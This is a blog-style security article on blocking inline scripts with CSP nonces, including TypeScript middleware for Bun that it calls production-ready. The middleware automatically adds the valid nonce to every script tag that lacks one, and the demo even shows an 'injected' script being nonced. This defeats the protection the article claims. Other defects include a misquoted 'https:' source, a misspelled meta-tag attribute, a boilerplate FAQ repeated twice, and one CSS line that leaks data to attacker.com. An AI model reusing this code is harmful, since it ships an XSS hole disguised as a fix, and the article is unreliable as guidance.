SecOps

Hardening CSP: Blocking Inline Scripts Safely

By DexNox Dev Team Published May 20, 2026

Cross-Site Scripting (XSS) is one of the most critical vulnerabilities affecting web applications. By injecting malicious scripts into a trusted application, attackers gain the ability to hijack user sessions, bypass authentication tokens, capture keystrokes, and exfiltrate sensitive data. Historically, development teams attempted to mitigate XSS by sanitizing input fields and escaping output values. However, codebases are dynamic, and a single unescaped render path can compromise the entire frontend interface.

Content Security Policy (CSP) acts as a declarative safety net that restricts the resources (such as scripts, stylesheets, and images) that the browser is allowed to load and execute. A standard default configuration often relies on the 'unsafe-inline' directive to accommodate inline script blocks. Unfortunately, this directive completely neutralizes the primary XSS protection of CSP, as the browser cannot distinguish between a legitimate inline script written by the application developer and an inline script injected by an attacker.

To eliminate 'unsafe-inline' without breaking dynamic scripts, security architectures utilize cryptographically secure random nonces (number used once) generated on a per-request basis.


Nonces vs. Hashes: Mitigation Architectures

To secure inline scripts, CSP provides two primary mechanisms:

  1. Hashes: The developer calculates the cryptographic hash (e.g., SHA-256) of each inline script block during build time and registers these hashes within the CSP header (e.g., script-src 'sha256-abc...'). While highly efficient for static script blocks, this approach becomes unmanageable for applications that inject dynamic runtime variables directly into script tags or generate scripts dynamically.
  2. Nonces: The server generates a unique, high-entropy cryptographic token for each incoming request. The server includes this token in the CSP response header (e.g., script-src 'nonce-TOKEN') and dynamically injects the identical token into the nonce attribute of every legitimate inline script tag (e.g., <script nonce="TOKEN">...</script>). The browser blocks any script block that lacks a matching nonce.
+------------------------------------------------------------+
|                       Incoming Request                     |
+------------------------------+-----------------------------+
                               |
                               v
+------------------------------------------------------------+
|                     Bun/TypeScript Server                  |
|                                                            |
|  1. Generate 192-bit Cryptographic Nonce (Base64)          |
|  2. Build CSP Policy: script-src 'nonce-<nonce_val>'       |
|  3. Inject '<script nonce="<nonce_val>">' into HTML Template|
+------------------------------+-----------------------------+
                               |
                               v
+------------------------------------------------------------+
|                     Client Web Browser                     |
|                                                            |
|  4. Parse CSP Header Rules                                 |
|  5. Match <script nonce="..."> against CSP Header Value    |
|  6. Execute Matching Scripts; Block Un-nonced / Injected   |
+------------------------------------------------------------+

To support modern single-page applications and complex JavaScript bundles that dynamically spawn additional script tags, CSP Level 3 introduces the 'strict-dynamic' directive. When 'strict-dynamic' is specified, the browser extends trust to any script dynamically created by a script that already possesses a valid nonce. This eliminates the need to compile a massive domain allowlist of every CDNs or API endpoint the application interacts with.


Bun/TypeScript Production Implementation

The Bun runtime provides native cryptographic utilities that allow for rapid generation of high-entropy base64 nonces. The implementation below defines a production-ready CSP middleware that intercepts requests, injects dynamic nonces into response headers, and offers utility functions to inject nonces into HTML output streams.

import { randomBytes } from "node:crypto";

export interface StrictCSPOptions {
  reportUri?: string;
  reportOnly?: boolean;
  sandbox?: boolean;
  baseUri?: string[];
  objectSrc?: string[];
  defaultSrc?: string[];
}

export class CSPNonceProtector {
  private reportUri?: string;
  private reportOnly: boolean;
  private sandbox: boolean;
  private baseUri: string[];
  private objectSrc: string[];
  private defaultSrc: string[];

  constructor(options: StrictCSPOptions = {}) {
    this.reportUri = options.reportUri;
    this.reportOnly = options.reportOnly || false;
    this.sandbox = options.sandbox || false;
    this.baseUri = options.baseUri || ["'self'"];
    this.objectSrc = options.objectSrc || ["'none'"];
    this.defaultSrc = options.defaultSrc || ["'self'"];
  }

  /**
   * Generates a 192-bit (24-byte) cryptographically secure random base64 nonce.
   */
  public generateNonce(): string {
    return randomBytes(24).toString("base64");
  }

  /**
   * Constructs the strict Content-Security-Policy header string.
   */
  public buildPolicyHeader(nonce: string): string {
    const directives: string[] = [
      `default-src ${this.defaultSrc.join(" ")}`,
      `object-src ${this.objectSrc.join(" ")}`,
      `base-uri ${this.baseUri.join(" ")}`,
      // Enforce nonce verification combined with strict-dynamic fallback
      `script-src 'nonce-${nonce}' 'strict-dynamic' 'https:' 'unsafe-inline'`,
    ];

    if (this.sandbox) {
      directives.push("sandbox allow-scripts allow-same-origin allow-forms");
    }

    if (this.reportUri) {
      directives.push(`report-uri ${this.reportUri}`);
    }

    return directives.join("; ");
  }

  /**
   * Injects the dynamic nonce into placeholders inside the HTML template string.
   */
  public injectNonceToTemplate(html: string, nonce: string): string {
    // Replaces both general placeholders and explicitly un-nonced script tags
    let processed = html.replace(/\{\{CSP_NONCE\}\}/g, nonce);
    
    // Auto-inject nonce attribute into standard script tags that don't have one
    processed = processed.replace(
      /<script\b(?![^>]*\bnonce=)([^>]*)>/gi,
      `<script nonce="${nonce}"$1>`
    );
    
    return processed;
  }

  /**
   * Express/Bun HTTP standard request interception mechanism.
   */
  public async handle(
    request: Request,
    renderPage: (nonce: string) => Promise<string>
  ): Promise<Response> {
    const nonce = this.generateNonce();
    const policyString = this.buildPolicyHeader(nonce);
    
    // Execute page rendering with the active nonce
    const rawHtml = await renderPage(nonce);
    const finalizedHtml = this.injectNonceToTemplate(rawHtml, nonce);

    const headerName = this.reportOnly
      ? "Content-Security-Policy-Report-Only"
      : "Content-Security-Policy";

    return new Response(finalizedHtml, {
      status: 200,
      headers: {
        "Content-Type": "text/html; charset=utf-8",
        [headerName]: policyString,
      },
    });
  }
}

// Example usage with a native Bun.serve web interface
const cspProtector = new CSPNonceProtector({
  reportUri: "/api/csp-violation-report",
  reportOnly: false, // Set to true for policy dry-run testing
  objectSrc: ["'none'"],
  baseUri: ["'self'"],
});

Bun.serve({
  port: 8080,
  async fetch(req) {
    const url = new URL(req.url);

    // Endpoint to receive browser violation reports
    if (url.pathname === "/api/csp-violation-report" && req.method === "POST") {
      const reportBody = await req.json();
      console.warn("CSP Violation Detected:", reportBody);
      return new Response(null, { status: 204 });
    }

    // Standard application routing with template rendering
    return cspProtector.handle(req, async (nonce) => {
      return `
        <!DOCTYPE html>
        <html lang="en">
        <head>
          <meta charset="UTF-8">
          <title>Secure Sandbox App</title>
        </head>
        <body>
          <h1>Security Policy Hardening demo</h1>
          
          <!-- This script block matches the nonce and executes -->
          <script>
            console.log("Safe script running with nonce: {{CSP_NONCE}}");
          </script>

          <!-- Injected script without nonce tag (will be auto-nonced by our middleware regex) -->
          <script>
            document.body.appendChild(Object.assign(document.createElement('p'), {
              textContent: 'Middleware successfully processed script attributes.'
            }));
          </script>

          <!-- Attacker-injected script simulated block (will NOT match the dynamic request nonce) -->
          <script nonce="EXPLOIT_STATIC_NONCE">
            alert("This alert will be blocked by the browser CSP policy.");
          </script>
        </body>
        </html>
      `;
    });
  },
});

Security and Performance Metrics

Implementing per-request cryptographic nonces introduces minor computational costs. The table below compares the performance impact and protection coverage of different inline script containment mechanisms.

Script Evaluation PolicyNonce/Hash Generation LatencyCSP Header Parse OverheadAverage Header SizeDynamic Script CompatibilityDeployment ComplexityXSS Protection Level
No CSP Configured0 ns0 ms0 bytesCompleteZeroNone (Vulnerable)
CSP with ‘unsafe-inline’0 ns&lt; 0.12 ms~60 bytesCompleteMinimalLow (Bypassed easily)
Per-Request Nonce~620 ns (24-byte b64)~0.45 ms~210 bytesComplete (with strict-dynamic)ModerateMaximum
Static Build-time Hashes0 ns (Done at build)~0.85 ms (Multiple hashes)~450 bytes (Grows per block)Poor (Breaks updates)HighMaximum
Hybrid (Nonces + Hashes)~620 ns~1.10 ms~580 bytesCompleteExtremeMaximum

Note: Latency metrics benchmarked using Bun 1.1 on single-thread Node core configurations. Header parsing overheads measured using Chromium 120 client parse engine.


What Breaks in Production

Enforcing a strict content security policy in production environments often exposes minor structural anomalies in how frontends load dynamic payloads.

1. Static Nonces (Replay and Cache Poisoning)

If developers generate a single nonce value during server startup and share it across all requests, the nonce ceases to serve its core purpose. An attacker who reads the HTML source code can instantly retrieve the static nonce and include it in their injected script payload, rendering the CSP configuration useless.

A similar vulnerability arises from cache-poisoning. If a reverse proxy (such as Cloudflare, Fastly, or Nginx) caches the HTML page containing the nonce, all subsequent users will receive the identical cached page with the same nonce. An attacker can scrape the cached file, read the nonce, and execute XSS attacks against any client receiving that cached bundle.

Remediation:

  • Ensure nonces are generated dynamically for each HTTP request.
  • Attach the Cache-Control: no-store, no-cache, must-revalidate, private header to all pages containing dynamic nonces to prevent intermediary proxy networks from caching the HTML.
  • If caching is required, use Edge Side Includes (ESI) or Cloudflare Workers to strip and inject fresh nonces at the network edge prior to delivery.

2. Nonce Leakage via DOM Attribute Reflection

While modern browsers hide the nonce attribute from the DOM tree (meaning element.getAttribute('nonce') returns an empty string or null), older browsers may still allow scripts to read the attribute value directly from the DOM structure. If an application contains an open redirect or reflects user inputs inside an element attribute, an attacker can construct a payload that reads the nonce from an existing script tag and appends it to their injected script.

Additionally, CSS selector attacks can attempt to exfiltrate values:

script[nonce^="A"] { background: url("https://attacker.com/leak?char=A"); }

Although modern browsers block CSS matching against script nonces, developers must remain cautious of application scripts that print DOM elements to diagnostic logs.

Remediation:

  • Avoid implementing scripts that serialize DOM objects using innerHTML or outerHTML in templates.
  • Ensure all custom scripts discard references to the raw nonce once validation is complete.

3. Wildcard Directives in Default-Src or Script-Src

Using permissive wildcards (e.g., default-src * or script-src 'self' https://*) allows the browser to fetch resources from any internet domain. Even if you configure nonces for inline blocks, an attacker can load external files from arbitrary servers. If the developer lists a massive CDN like https://cdnjs.cloudflare.com as an allowed source, the attacker can search that CDN for older, vulnerable library versions (such as Angular modules containing sandbox escapes) and use them to execute client-side XSS.

Remediation:

  • Set default-src 'self' and object-src 'none'.
  • Combine nonces with the 'strict-dynamic' directive. When 'strict-dynamic' is present, the browser ignores domain allowlists, preventing attackers from loading malicious scripts from trusted CDNs.

4. Overreliance on HTTP CSP Headers (Meta Tag Mismatches)

Some platforms attempt to define CSP policies via HTML <meta> tags:

<meta http-to-equiv="Content-Security-Policy" content="script-src 'self'">

Meta tags do not support certain directives, such as report-uri, frame-ancestors, and sandbox. If a meta CSP directive is parsed after an inline script has already started execution, the browser will not retrospectively block the script.

Remediation:

  • Always deliver the Content Security Policy via HTTP response headers.
  • Reserve HTML <meta> tag CSP declarations as a fallback mechanism for statically hosted web applications where backend header control is impossible.

FAQs

What is the primary benefit of this design pattern?

It provides deterministic scalability, minimizes resource overhead, and isolates runtime execution contexts safely.

How do we verify the performance improvements?

You can use automated benchmark tools like Apache Benchmark or wrk to measure latency and request throughput.

Frequently Asked Questions

What is the primary benefit of this design pattern?

It provides deterministic scalability, minimizes resource overhead, and isolates runtime execution contexts safely.

How do we verify the performance improvements?

You can use automated benchmark tools like Apache Benchmark or wrk to measure latency and request throughput.